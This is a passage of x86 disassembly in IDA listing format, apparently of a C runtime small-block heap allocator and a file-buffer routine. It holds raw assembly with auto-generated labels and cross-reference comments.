eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A310, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A300 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC944 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A300 cmp esi, eax jnz short loc_41EA06 cmp off_43A300, 0 jnz short loc_41E9F6 mov off_43A300, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A304, 0 jnz short loc_41EA1B mov off_43A304, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A304 mov [esi+4], eax mov off_43A304, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28B07C8h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A300 jz short loc_41EAB3 push esi push 0 push dword_4DC944 call near ptr 27B0000h nop loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 28B07C8h nop cmp off_43C320, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C320, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A300 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC944 call near ptr 27B0000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A310, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A304 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28B07C8h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB324 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A304 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A300 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB324 cmp dword_4DB324, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C320 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C320 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C320, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A300 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 28B09C1h nop cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C320, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C320, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC600[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C980 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov 